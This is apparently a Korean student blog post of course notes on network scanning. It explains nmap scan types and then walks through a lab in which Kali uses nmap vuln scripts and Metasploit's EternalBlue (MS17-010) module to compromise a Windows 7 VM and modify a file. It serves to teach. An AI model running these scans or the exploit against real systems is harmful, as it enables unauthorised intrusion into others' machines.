일 | 월 | 화 | 수 | 목 | 금 | 토 |
---|---|---|---|---|---|---|
1 | 2 | 3 | ||||
4 | 5 | 6 | 7 | 8 | 9 | 10 |
11 | 12 | 13 | 14 | 15 | 16 | 17 |
18 | 19 | 20 | 21 | 22 | 23 | 24 |
25 | 26 | 27 | 28 | 29 | 30 | 31 |
- 메타코드M
- 스마트 컨트랙트
- Path Traversal
- AWS SSM
- 메타코드
- aws lambda
- web security academy
- 정처기
- metacodem
- File Upload
- aws 트리거
- 티스토리챌린지
- metacode
- 정처기 필기
- web shell
- 보안 그룹
- 정보처리기사
- amazon s3 트리거
- 탈중앙화
- web3 보안
- 오블완
- 스마트컨트랙트
- web3
- 블록체인
- 정처기필기
- splunk db connect
- ELB
- systems manager
- AWS CLI
- Session Manager
- Today
- Total
min8282
[공통과정] 네트워크 해킹/스캐닝(Scanning) 본문
Scanning
스캐닝이란?
공격자가 공격대상의 네트워크나 시스템 정보를 탐색하는 행위
- 수집 대상 : 실행 중인 TCP/UDP 서비스들, 시스템 및 운영체제 정보, 그 외 다양한 정보 등
- 수집 목적 : 공격자가 공격목표로 하는 네트워크나 시스템의 자세한 정보(IP, OS, Port, Version)를 수집하기 위함
종류)
- Active Host Scanning(활성 시스템 스캐닝)
- Port Scanning(포트 스캐닝)
- Vulnerability Scanning(취약점 스캐닝)
주의사항)
- 서비스나 시스템을 운영하는 기관, 기업과 협의없이 수행하면 안 됨
- 과도한 스캐닝은 네트워크, 서비스 장애 등을 초래할 수 있음
1. Active System Scanning(활성 시스템 스캐닝)
활성 시스템 스캐닝이란?
현재 동작 중인 호스트를 찾기 위한 스캐닝 기법
- 호스트 : 서버, PC 등 단말기
- ICMP(Internet Control Message Protocol)를 이용한 ping 통신을 통해 동작 여부 확인
- 대상 네트워크의 구조와 공격 대상을 찾는 방법으로 직접적인 공격 영향 없음
종류)
- ICMP Echo ping
- ARPing
- TCP/UDP ping
ping 자체는 운영체제 방화벽 등에서 막힌다.
도구)
- Nmap
- ARPing
2. Port Scanning(포트 스캐닝)
포트 스캐닝이란?
호스트에서 실행 중인 서비스를 찾기 위한 스캐닝 기법
- 서비스 실행 시 통신을 위한 포트가 필요하며, 공격자는 해당 서비스의 취약점을 목표로 공격을 시작함
종류)
- TCP Port Scanning
- UDP Port Scanning
2-1. TCP Connect Scanning
TCP 연결을 맺어서 포트의 활성화 여부를 판단하는 방법
- 포트가 열린 경우, 신뢰성 있는 연결(3-Way HandShake)을 수행하여 연결 기록(로그)을 남긴다.
- 명령어 : nmap -sT <네트워크 대역 | 호스트 IP>
TCP Session과 Web Session의 차이점
TCP Session | Web Session | |
계층 | Network Layer | Application Layer |
목적 | 신뢰성 잇는 데이터 전송 | 사용자의 상태 정보를 유지하여 사용자 경험 관리 |
유지 방식 | 연결을 통해 지속적인 데이터 전송 관리 | 세션 ID를 통해 사용자의 상태 정보 추적 |
- SYN 패킷 전송: 클라이언트(스캐너)는 대상 서버의 특정 포트로 SYN 패킷을 보냅니다. 이 SYN 패킷은 IP 헤더와 TCP 헤더로 구성되어 있으며, 여기서 TCP 헤더의 SYN 플래그가 설정됩니다.
- SYN/ACK 패킷 수신: 대상 서버의 해당 포트가 열려 있다면, 서버는 SYN/ACK 패킷을 클라이언트로 응답합니다. 이 응답 패킷 역시 IP 헤더와 TCP 헤더를 포함합니다.
- ACK 패킷 전송 및 연결 완료: 클라이언트는 서버로 ACK 패킷을 보내면서 3-way handshake가 완료되고, TCP 연결이 설정됩니다.
- 연결 해제: 스캐너는 바로 연결을 종료하여 실제로 데이터를 전송하지 않습니다. 연결을 해제하는 과정은 FIN 패킷을 보내거나, 더 간단하게 RST 패킷을 보내는 방식으로 이루어집니다.
따라서 SYN 패킷은 IP 헤더와 TCP 헤더의 결합을 통해 전송됩니다. IP 헤더는 패킷의 전송을 담당하는 반면, TCP 헤더는 세션 관리와 데이터 전송을 담당합니다. SYN 플래그는 TCP 헤더에 설정되어 TCP 연결 요청을 나타내며, 이는 IP 헤더에 포함되어 전송됩니다.
닫힌 포트의 경우 TCP connect 스캐닝에서의 처리 과정은 다음과 같습니다:
- SYN 패킷 전송: 클라이언트(스캐너)는 대상 서버의 특정 포트로 SYN 패킷을 보냅니다. 이 패킷은 IP 헤더와 TCP 헤더로 구성되며, TCP 헤더에 SYN 플래그가 설정되어 있습니다.
- RST/ACK 패킷 수신: 대상 서버의 해당 포트가 닫혀 있다면, 서버는 SYN 패킷에 대해 RST(Reset) 패킷으로 응답합니다. 이 응답 패킷 역시 IP 헤더와 TCP 헤더를 포함하며, TCP 헤더에 RST 플래그가 설정되어 있습니다.
- 연결 실패 확인: 클라이언트는 RST 패킷을 수신하고, 해당 포트가 닫혀 있음을 확인합니다. 연결이 설정되지 않으므로, 추가적인 연결 해제 과정은 필요하지 않습니다.
2-2. SYN Stealth Scanning(Half Open Scanning)
TCP 연결을 완전히 하지 않고 포트의 활성화 여부를 판단하는 방법
- 포트가 열린 경우, 열결 중간(3-Way HandShake 2단계)에 끊으며 연결 기록(로그)을 남기지 않음
- 명령어 : nmap -sS <네트워크 대역 | 호스트 IP>
- SYN 패킷 전송: 클라이언트에서 서버의 특정 포트로 SYN 패킷 전송.
- 응답 패킷 수신:
- 포트가 열려 있으면 서버에서 SYN/ACK 패킷 전송.
- 포트가 닫혀 있으면 서버에서 RST 패킷 전송.
- 응답 분석:
- SYN/ACK 패킷 수신 시 클라이언트에서 RST 패킷 전송하여 연결 종료.
- RST 패킷 수신 시 포트가 닫혀 있다고 판단.
이러한 방식으로 SYN 스텔스 스캔은 TCP 연결을 완전히 설정하지 않으면서 포트의 상태를 파악합니다.
TCP Connect Scanning과 TCP SYN Scanning의 차이점!
- TCP Connect Scanning은 SYN/ACK 플래그를 받으면 공격자가 ACK 플래그를 보내 로그가 남게 된다. TCP SYN Scanning은 SYN/ACK 플래그를 받은 다음 ACK 플래그를 생략하고 RST 플래그를 전송하여 연결을 종료하기 때문에 로그가 남지 않는다.
2-3. NULL Scanning
TCP 헤더 내 플래그 값을 설정하지 않고 전송하여 그에 대한 응답으로 포트의 활성화 여부를 판단하는 방법
- 포트가 열린 경우, 목표 대상은 요청을 알 수 없어 응답을 하지 않음
- 명령어 : nmap -sN <네트워크 대역 | 호스트 IP>
열려 있는 경우 아무런 응답이 없다.
닫혀 있는 포트의 경우 RST/ACK를 반환 -> 취약점이 된다.
2-4. FIN Scanning
TCP 헤더 내 FIN 플래그를 설정하여 전송하고 그에 대한 응답으로 포트의 활성화 여부를 판단하는 방법
- 포트가 열린 경우, 목표 대상은 연결을 수행한 적이 없기에 응답을 하지 않는다.
- 명령어 : nmap -sF <네트워크 대역 | 호스트 IP>
2-5. X-Mas Scanning
TCP 헤더 내 일부 또는 모든 플래그를 설정하여 전송하고 그에 대한 응답으로 포트의 활성화 여부를 판단하는 방법
- 포트가 열린 경우, 목표 대상은 요청에 대한 정확한 응답을 하기 어렵기 때문에 아무 응답을 하지 않는다.
- 명렁어 : nmap -sX <네트워크 대역 | 호스트 IP>
NULL, FIN, X-Mas는 SYN 플래그를 전송하면 타겟으로 부터 아무런 응답이 없으면 열린 포트이고, RST/ACK 플래그가 응답이 오면 닫힌 포트인 것을 알 수 있다. 즉, RST/ACK 응답이 오는 것을 취약점 볼 수 있다.
NULL, FIN, X-Mas 스캐닝은 비정상적인 방법으로 스캐닝하는 것이다. 이런 경우는 오히려 방어하기 쉽기 때문에, 최근에는 사용하지 않는다. why? 정상적인 요청만 받으면 되기 때문! (ex. 화이트리스트 기반)
2-6. UDP Port Scanning
ICMP Unreachable 메시지를 이용하여 UDP 포트의 활성화 여부를 판단하는 방법. 정상적인척(위장) 하고 보내서 막기 힘들다.
- 포트가 열린 경우, UDP 응답이 오거나 별도 응답 없음(정책 차단)
- 포트가 닫힌 경우, ICMP 메시지 응답
- 명령어 : nmap -sU <네트워크 대역 | 호스트 IP>
3. Vulnerability Scanning(취약점 스캐닝)
실습환경)
현재 위와 같은 가상환경에서 Int Attacker(kali linux)에서 Windows PC(7)의 취약점을 스캔하고 컨트롤 해보는 실습환경이 구성되어 있다.
3.1 Nmap을 이용한 취약점 스캐닝(내부 Attacker)
- nmap -sV -script vuln <호스트 IP> : 열린 포트를 스캔하고 vuln 스크립트를 이용해 취약점 스캔
현재 윈도우7 환경의 운영체제의 열린 포트를 스캔하고 vuln 스크립트를 사용해서 취약점을 스캔했다. 스캔 결과로 CVE 코드를 확인할 수 있다.
MS17_010 취약점 실습(내부 Attacker)
- nmap -sV -script vuln 192.168.0.2
- ms17-010 취약점 확인
- CVE-2017-0143 이라는 취약점 발견
CVE란?
- "Common Vulnerabilities and Exposures"의 약자로, 보안 취약점과 노출 사례에 대한 공개적이고 표준화된 식별 체계다. 즉, CVE 번호는 전세계적으로 특정 취약점이나 보안 제를 식별하는 고유한 식별자다. -> 국제적으로 공유하는 취약점 정보 코드
- CVE 번호는 보통 보안 업계에서 발표된 취약점 보고서에서 볼 수 있으며, 해당 취약점이 해결되었는지 여부를 확인하거나 관련된 보안 패치를 적용하는 데 유용하게 활용된다.
MS17_010 취약점 실습(내부 Attacker)
$ msfconsole
$ msf6 > search eternal
// eternal 이라는 키워드를 포함하는 모든 모듈들이 나열된다.
$ msf6 > use 0
// use 0 은 가장 먼저 나온 취약점을 사용하겠다. = eternalblue 취약점
// 즉, 두 코드의 결론은 eternalblue 라는 취약점을 이용해서 공격(=사용)하겠다.
// 취약점이 발견된 IP 정보 삽입
$ ~~~ > set RHOST 192.168.0.2
// exploit 명령어를 수행하도록 실행
$ (생략) > exploit
여기까지 윈도우 PC 탈취 완료. 실제로는 스캐닝 과정이 훨씬 더 필요하다.(2~3년씩 걸리는 경우도..)
Interface 11에서 IPv4 주소를 확인해 보면 취약점이 발견된 IP 주소로 연결된 것을 알 수 있다. 현재 상태는
sysinfo -> 현재 탈취한(접속한) 시스템정보를 볼 수 있다.
지금부터는 실제로 칼리-리눅스 환경에서 윈도우 PC의 파일을 임의로 변경해 보겠습니다.
현재 Window PC 바탕화면에 ksj.txt라는 파일을 하나 만들었습니다. 칼리 리눅스 환경에서 이 파일을 수정해 보겠습니다.
위와 같이 텍스트 파일을 변경했고
실제로 윈도우 PC에서 변경된 것을 볼 수 있습니다.
'K-Shield.Jr' 카테고리의 다른 글
[취약점분석] Integer Overflow, Uninitialized(시스템 해킹 실습 2일차) (0) | 2024.07.18 |
---|---|
[공통과정] 웹 해킹 (1) | 2024.07.15 |
[공통과정] 웹 해킹/HTTP의 이해 (1) | 2024.07.14 |
[공통과정] 네트워크 해킹/스니핑(Sniffing)(feat. Spoofing) (1) | 2024.07.14 |
[공통과정] 네트워크 해킹/DoS(Denial of Service) (5) | 2024.07.14 |